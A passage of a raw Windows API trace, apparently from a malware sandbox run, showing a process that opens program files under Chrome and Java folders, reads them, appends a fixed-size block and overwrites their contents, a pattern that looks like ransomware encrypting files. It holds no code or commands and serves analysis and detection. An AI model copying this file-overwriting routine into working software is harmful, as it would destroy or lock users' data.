lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt-BR.pak", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pt-BR.pak", lpUsedDefaultChar=0x0) returned 9 [0046.805] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0046.849] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x4d63d [0046.849] ReadFile (in: hFile=0x198, lpBuffer=0x1deee48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1deee48*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.872] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x4d63d [0046.872] WriteFile (in: hFile=0x198, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.872] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0046.872] WriteFile (in: hFile=0x198, lpBuffer=0x2805d28*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2805d28*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.873] CloseHandle (hObject=0x198) returned 1 [0046.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\te.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.874] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.874] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xb0b7d [0046.874] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.874] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.874] ReleaseMutex (hMutex=0x128) returned 1 [0046.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="te.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="te.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="te.pak", lpUsedDefaultChar=0x0) returned 6 [0046.875] ReadFile (in: hFile=0x198, lpBuffer=0x3a364f8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a364f8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0046.920] ReadFile (in: hFile=0x198, lpBuffer=0x3a364f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a364f8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.937] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xafb7d [0046.937] ReadFile (in: hFile=0x198, lpBuffer=0x3a49558, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a49558*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.238] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xafb7d [0047.238] WriteFile (in: hFile=0x198, lpBuffer=0x1dac438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac438*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.239] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0047.239] WriteFile (in: hFile=0x198, lpBuffer=0x3a364f8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x3a364f8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0047.239] WriteFile (in: hFile=0x198, lpBuffer=0x3a364f8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x3a364f8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.239] CloseHandle (hObject=0x198) returned 1 [0047.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0047.240] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.240] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x161db8 [0047.240] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.240] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.240] ReleaseMutex (hMutex=0x128) returned 1 [0047.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="snapshot_blob.bin", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0047.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="snapshot_blob.bin", cchWideChar=17, lpMultiByteStr=0x1e78b04, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snapshot_blob.bin", lpUsedDefaultChar=0x0) returned 17 [0047.240] ReadFile (in: hFile=0x198, lpBuffer=0x3a364f8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a364f8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0047.253] ReadFile (in: hFile=0x198, lpBuffer=0x3a364f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a364f8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.430] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x160db8 [0047.430] ReadFile (in: hFile=0x198, lpBuffer=0x3a4e5b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a4e5b8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.476] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x160db8 [0047.476] WriteFile (in: hFile=0x198, lpBuffer=0x261b6a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.478] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0047.478] WriteFile (in: hFile=0x198, lpBuffer=0x26d0018*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0047.478] WriteFile (in: hFile=0x198, lpBuffer=0x26d0018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.478] CloseHandle (hObject=0x198) returned 1 [0047.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\pidgin.exe" (normalized: "c:\\program files (x86)\\google\\pidgin.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0047.478] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\pidgin.exe", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Google\\pidgin.exe", lpFilePart=0x32cf690*="pidgin.exe") returned 0x28 [0047.479] GetLastError () returned 0x20 [0047.479] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̬폈H̬퐔H̬L̬ꟈǦ\x01") returned 0x51 [0047.479] LocalFree (hMem=0x70da60) returned 0x0 [0047.479] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0047.479] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0047.479] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0047.479] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0047.479] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\pidgin.exe" (normalized: "c:\\program files (x86)\\google\\pidgin.exe")) returned 0x20 [0047.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jqs.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jqs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.484] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.484] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2c9a8 [0047.484] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.484] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.484] ReleaseMutex (hMutex=0x128) returned 1 [0047.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jqs.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0047.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jqs.exe", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jqs.exe", lpUsedDefaultChar=0x0) returned 7 [0047.484] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a47528, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a47528*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0047.512] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2b9a8 [0047.512] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.534] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2b9a8 [0047.534] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.534] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0047.535] WriteFile (in: hFile=0x1ac, lpBuffer=0x27febf8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27febf8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.535] CloseHandle (hObject=0x1ac) returned 1 [0047.535] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\servertool.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0047.544] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.544] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3da8 [0047.544] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.544] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.544] ReleaseMutex (hMutex=0x128) returned 1 [0047.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="servertool.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="servertool.exe", cchWideChar=14, lpMultiByteStr=0x1e6340c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="servertool.exe", lpUsedDefaultChar=0x0) returned 14 [0047.544] ReadFile (in: hFile=0x184, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.562] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2da8 [0047.562] ReadFile (in: hFile=0x184, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.641] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2da8 [0047.641] WriteFile (in: hFile=0x184, lpBuffer=0x276c388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c388*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.641] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0047.641] WriteFile (in: hFile=0x184, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.642] CloseHandle (hObject=0x184) returned 1 [0047.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0047.642] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.642] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xc824 [0047.642] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.642] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.642] ReleaseMutex (hMutex=0x128) returned 1 [0047.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CIEXYZ.pf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CIEXYZ.pf", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIEXYZ.pf", lpUsedDefaultChar=0x0) returned 9 [0047.642] ReadFile (in: hFile=0x184, lpBuffer=0x1da83d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0047.673] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xb824 [0047.673] ReadFile (in: hFile=0x184, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0047.696] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xb824 [0047.696] WriteFile (in: hFile=0x184, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.696] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0047.696] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0047.697] CloseHandle (hObject=0x184) returned 1 [0047.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0047.697] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.697] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xcea [0047.697] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.697] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.698] ReleaseMutex (hMutex=0x128) returned 1 [0047.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_de.properties", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0047.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_de.properties", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_de.properties", lpUsedDefaultChar=0x0) returned 22 [0047.698] ReadFile (in: hFile=0x184, lpBuffer=0x276b358, nNumberOfBytesToRead=0xcea, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x32cf2bc*=0xcea, lpOverlapped=0x0) returned 1 [0047.727] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0047.727] WriteFile (in: hFile=0x184, lpBuffer=0x1dac408*, nNumberOfBytesToWrite=0x1272, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dac408*, lpNumberOfBytesWritten=0x32cf2d0*=0x1272, lpOverlapped=0x0) returned 1 [0047.727] CloseHandle (hObject=0x184) returned 1 [0047.727] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0047.739] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.739] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xea8 [0047.739] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0047.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.739] ReleaseMutex (hMutex=0x128) returned 1 [0047.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_zh_TW.properties", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0047.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_zh_TW.properties", cchWideChar=25, lpMultiByteStr=0x1e7fb1c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_zh_TW.properties", lpUsedDefaultChar=0x0) returned 25 [0047.739] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dad438, nNumberOfBytesToRead=0xea8, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dad438*, lpNumberOfBytesRead=0x32cf2bc*=0xea8, lpOverlapped=0x0) returned 1 [0047.762] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0047.762] WriteFile (in: hFile=0x1c4, lpBuffer=0x1daa438*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1daa438*, lpNumberOfBytesWritten=0x32cf2d0*=0x1430, lpOverlapped=0x0) returned 1 [0047.763] CloseHandle (hObject=0x1c4) returned 1 [0047.763] CreateFileW (lpFileName="C:\\Program Files 